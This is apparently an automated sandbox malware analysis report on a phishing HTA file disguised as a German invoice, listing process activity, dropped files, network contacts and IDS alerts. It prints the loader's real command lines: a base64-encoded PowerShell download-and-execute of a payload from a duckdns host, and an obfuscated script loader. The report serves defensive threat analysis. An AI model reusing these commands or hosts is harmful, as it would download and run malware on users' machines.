File name:

Kostenrechnung v_ 17_04_2025.hta

Full analysis: https://app.any.run/tasks/1d0d2fff-3cbb-4bbe-a77c-3f3ac95086a2
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: April 17, 2025, 14:00:50
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
loader
Indicators:
MIME: text/html
File info: HTML document, ASCII text, with very long lines (6557), with CRLF line terminators
MD5:

CCE8690CE05D82BD4ADB5571F92139C6

SHA1:

83BC9CDEC28C6BCD5F1B06C61B389ACB9B3A42A3

SHA256:

BDEEF20C1A81138B0F13AA8DC0AA787ACE963E1D2F0927D28D574D103D4AFA6C

SSDEEP:

96:0lVBvzZlMAxjfu4zBvM08jha7zzCUUtczswxs4fK1N4fXfQxs4fQxa4fwxs4fBvW:Tanz7UBg

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 7608)
      • powershell.exe (PID: 7904)

    • Accesses environment variables (SCRIPT)

      • mshta.exe (PID: 7528)

    • Changes powershell execution policy (Bypass)

      • mshta.exe (PID: 7528)
      • powershell.exe (PID: 7608)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7608)
      • powershell.exe (PID: 7904)

    • Executing a file with an untrusted certificate

      • fileexempts.exe (PID: 7152)

  • SUSPICIOUS

    • BASE64 encoded PowerShell command has been detected

      • mshta.exe (PID: 7528)
      • powershell.exe (PID: 7608)

    • Executes script without checking the security policy

      • powershell.exe (PID: 7608)
      • powershell.exe (PID: 7904)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 7528)
      • powershell.exe (PID: 7608)
      • fileexempts.exe (PID: 7152)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 7528)
      • powershell.exe (PID: 7608)

    • Runs shell command (SCRIPT)

      • mshta.exe (PID: 7528)

    • Base64-obfuscated command line is found

      • mshta.exe (PID: 7528)
      • powershell.exe (PID: 7608)

    • Application launched itself

      • powershell.exe (PID: 7608)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 7904)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 7904)
      • powershell.exe (PID: 7520)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 7904)

    • Process requests binary or script from the Internet

      • powershell.exe (PID: 7904)

    • Connects to unusual port

      • powershell.exe (PID: 7904)
      • msiexec.exe (PID: 5408)

    • Creates file in the systems drive root

      • fileexempts.exe (PID: 7152)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 7520)

  • INFO

    • Reads Internet Explorer settings

      • mshta.exe (PID: 7528)

    • Disables trace logs

      • powershell.exe (PID: 7904)

    • Checks proxy server information

      • powershell.exe (PID: 7904)
      • msiexec.exe (PID: 5408)

    • The executable file from the user directory is run by the Powershell process

      • fileexempts.exe (PID: 7152)

    • Checks supported languages

      • fileexempts.exe (PID: 7152)

    • Reads the computer name

      • fileexempts.exe (PID: 7152)

    • Creates files or folders in the user directory

      • fileexempts.exe (PID: 7152)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7520)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 7520)

    • Reads the software policy settings

      • msiexec.exe (PID: 5408)
      • slui.exe (PID: 7800)

    • Reads security settings of Internet Explorer

      • msiexec.exe (PID: 5408)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7520)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 7520)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 7520)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.html | HyperText Markup Language (100)
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
141
Monitored processes
12
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start mshta.exe no specs powershell.exe no specs conhost.exe no specs sppextcomobj.exe no specs slui.exe powershell.exe svchost.exe fileexempts.exe no specs powershell.exe conhost.exe no specs msiexec.exe slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
5408"C:\WINDOWS\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshtml.dll
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
5668C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
6944\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7152"C:\Users\admin\AppData\Roaming\fileexempts.exe" C:\Users\admin\AppData\Roaming\fileexempts.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
gyritha
Exit code:
4294967295
Modules
Images
c:\users\admin\appdata\roaming\fileexempts.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\user32.dll
c:\windows\syswow64\win32u.dll
7520powershell.exe -windowstyle 1 "$Barspoon238=GC -raw 'C:\Users\admin\AppData\Local\shenandoah\Renates\Doyle.Ita';$Gnomonics=$Barspoon238.SubString(54726,3);.$Gnomonics($Barspoon238) C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
fileexempts.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
7528"C:\Windows\SysWOW64\mshta.exe" "C:\Users\admin\AppData\Local\Temp\Kostenrechnung v_ 17_04_2025.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}C:\Windows\SysWOW64\mshta.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\advapi32.dll
7608"C:\WINDOWS\sYSTEM32\WinDoWsPOwershELL\v1.0\poWErSHELl.EXE" "POWershell.eXE -EX BypAsS -nop -W 1 -eC IAAJAFsATgBFAFQALgBTAEUAcgB2AEkAYwBFAHAATwBpAE4AdABtAEEATgBhAGcARQBSAF0AOgA6AHMAZQBDAFUAUgBpAFQAeQBwAFIAbwB0AG8AYwBPAGwAIAAgACAAIAA9ACAAIABbAG4AZQB0AC4AcwBFAGMAVQByAEkAVAB5AFAAUgBvAFQATwBjAE8ATAB0AFkAUABlAF0AOgA6AFQAbABzACwAIAAJAAkACQBbAG4AZQBUAC4AUwBlAEMAdQByAGkAdAB5AFAAcgBvAHQAbwBDAG8AbABUAFkAcABlAF0AOgA6AFQAbABzADEAMQAsACAACQAgAFsAbgBFAFQALgBTAGUAQwB1AHIAaQBUAFkAcAByAE8AVABvAGMATwBsAHQAeQBwAGUAXQA6ADoAVABsAHMAMQAyACwAIAAJAAkAWwBuAEUAVAAuAHMAZQBjAFUAcgBJAHQAeQBwAFIATwB0AE8AYwBvAEwAdABZAFAARQBdADoAOgBTAHMAbAAzACAAIAA7ACAAIAAgACAAWwBOAEUAVAAuAHMARQByAFYAaQBDAGUAcABvAEkATgB0AE0AYQBOAEEAZwBFAFIAXQA6ADoAcwBFAEMAVQByAGkAVABZAHAAUgBvAFQAbwBjAE8ATAAgACAAPQAgACAAIAAnAFQAbABzACwAIAAgACAACQBUAGwAcwAxADEALAAgACAACQAgAFQAbABzADEAMgAsACAACQBTAHMAbAAzACcAIAA7ACAACQAgAAkACQBXAGcARQB0ACAAIAAgAB0gaAB0AHQAcAA6AC8ALwAxADIAaABvAHUAcgBzAC4AZAB1AGMAawBkAG4AcwAuAG8AcgBnADoAMgAwADIAMAAzAC8AbwB1AHQAcAB1AHQAcwAuAGUAeABlAB0gIAAgAC0ATwBVAHQARgBpAGwARQAgAB0gJABlAE4AVgA6AGEAUABQAEQAQQB0AEEAXABmAGkAbABlAGUAeABlAG0AcAB0AHMALgBlAHgAZQAdICAAOwAgAAkACQAJAHMAVABBAHIAVAAgACAAIAAdICQAZQBOAFYAOgBhAHAAUABkAGEAdABhAFwAZgBpAGwAZQBlAHgAZQBtAHAAdABzAC4AZQB4AGUAHSA= "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
7616\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7764C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
Total events
18 766
Read events
18 377
Write events
389
Delete events
0

Modification events

(PID) Process:(7904) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(7904) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(7904) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(7904) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(7904) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(7904) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(7904) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(7904) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(7904) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(7904) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
2
Suspicious files
6
Text files
12
Unknown types
0

Dropped files

PID
Process
Filename
Type
7152fileexempts.exeC:\Users\admin\AppData\Local\shenandoah\Oxidizements100\regest.skr —
MD5:—
SHA256:—
7904powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:A82438B9D86D372A67F6F3A4C4C2436B
SHA256:2F3E436E683BA7BFABBEF4185A8F9E8EBCB7525B6F6F581AB4656E850EDB3622
7608powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_suvxlbsf.5u4.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7904powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_z1svnmc2.o0m.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7904powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_igvnklzl.mah.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7904powershell.exeC:\Users\admin\AppData\Roaming\fileexempts.exeexecutable
MD5:7EE712194E1BFBCD73C478114B5B56CF
SHA256:8D4D52A57759129F71D1A521674AEE4025CDEB097F66C25E43D163C205369FD9
7152fileexempts.exeC:\Users\admin\AppData\Local\shenandoah\Renates\Retsbeskyttelsesperioder91.Tekbinary
MD5:4B689C919D5660319CA6E8EDC954EF74
SHA256:5CA967D96227CAF891421882C86AA9E3B0F7FB72106AC0E3E36306424BED588D
7152fileexempts.exeC:\Users\admin\AppData\Local\shenandoah\Renates\Doyle.Itatext
MD5:B215941325218D9BABAAFD6C38D28585
SHA256:B4A05DFAFAC8EDE034BE6B8F207A451BDCD04A009B30DBEAB21A056CACA66960
7608powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_e0nnbldy.15c.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7152fileexempts.exeC:\Users\admin\AppData\Local\shenandoah\Oxidizements100\sjaskregns.initext
MD5:E6B8E6A97E54002386DC71AD2ED8C188
SHA256:3AD8596B8AA3E58076B3E5678C3C701504647F5083E62704E7B875C5C4931687
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
22
DNS requests
18
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
—
—
GET
200
23.216.77.13:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
7904
powershell.exe
GET
200
172.111.213.71:20203
http://12hours.duckdns.org:20203/outputs.exe
unknown
—
—
unknown
5408
msiexec.exe
GET
200
172.111.216.164:30304
http://mencsh.duckdns.org:30304/input.bin
unknown
—
—
unknown
7196
SIHClient.exe
GET
200
23.59.18.102:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
7196
SIHClient.exe
GET
200
23.59.18.102:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
23.216.77.13:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.159.129:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
7904
powershell.exe
172.111.213.71:20203
12hours.duckdns.org
WANSECURITY
US
unknown
2104
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5408
msiexec.exe
172.111.216.164:30304
mencsh.duckdns.org
M247 Ltd
AT
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 4.231.128.59
whitelisted
google.com
  • 172.217.18.14
whitelisted
crl.microsoft.com
  • 23.216.77.13
  • 23.216.77.36
  • 23.216.77.5
  • 23.216.77.18
  • 23.216.77.42
  • 23.216.77.32
  • 23.216.77.41
  • 23.216.77.39
  • 23.216.77.19
whitelisted
client.wns.windows.com
  • 172.211.123.248
whitelisted
12hours.duckdns.org
  • 172.111.213.71
unknown
login.live.com
  • 20.190.159.129
  • 40.126.31.130
  • 40.126.31.69
  • 40.126.31.129
  • 20.190.159.71
  • 20.190.159.75
  • 40.126.31.131
  • 40.126.31.3
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
mencsh.duckdns.org
  • 172.111.216.164
unknown
starofliught.top
  • 188.114.97.3
  • 188.114.96.3
unknown
slscr.update.microsoft.com
  • 20.12.23.50
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
2196
svchost.exe
Misc activity
ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain
7904
powershell.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS HTTP Request to a *.duckdns .org Domain
7904
powershell.exe
Misc activity
ET INFO Request for EXE via Powershell
7904
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
7904
powershell.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
2196
svchost.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
2196
svchost.exe
Misc activity
ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain
2196
svchost.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
5408
msiexec.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS HTTP Request to a *.duckdns .org Domain
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Kostenrechnung v_ 17_04_2025.hta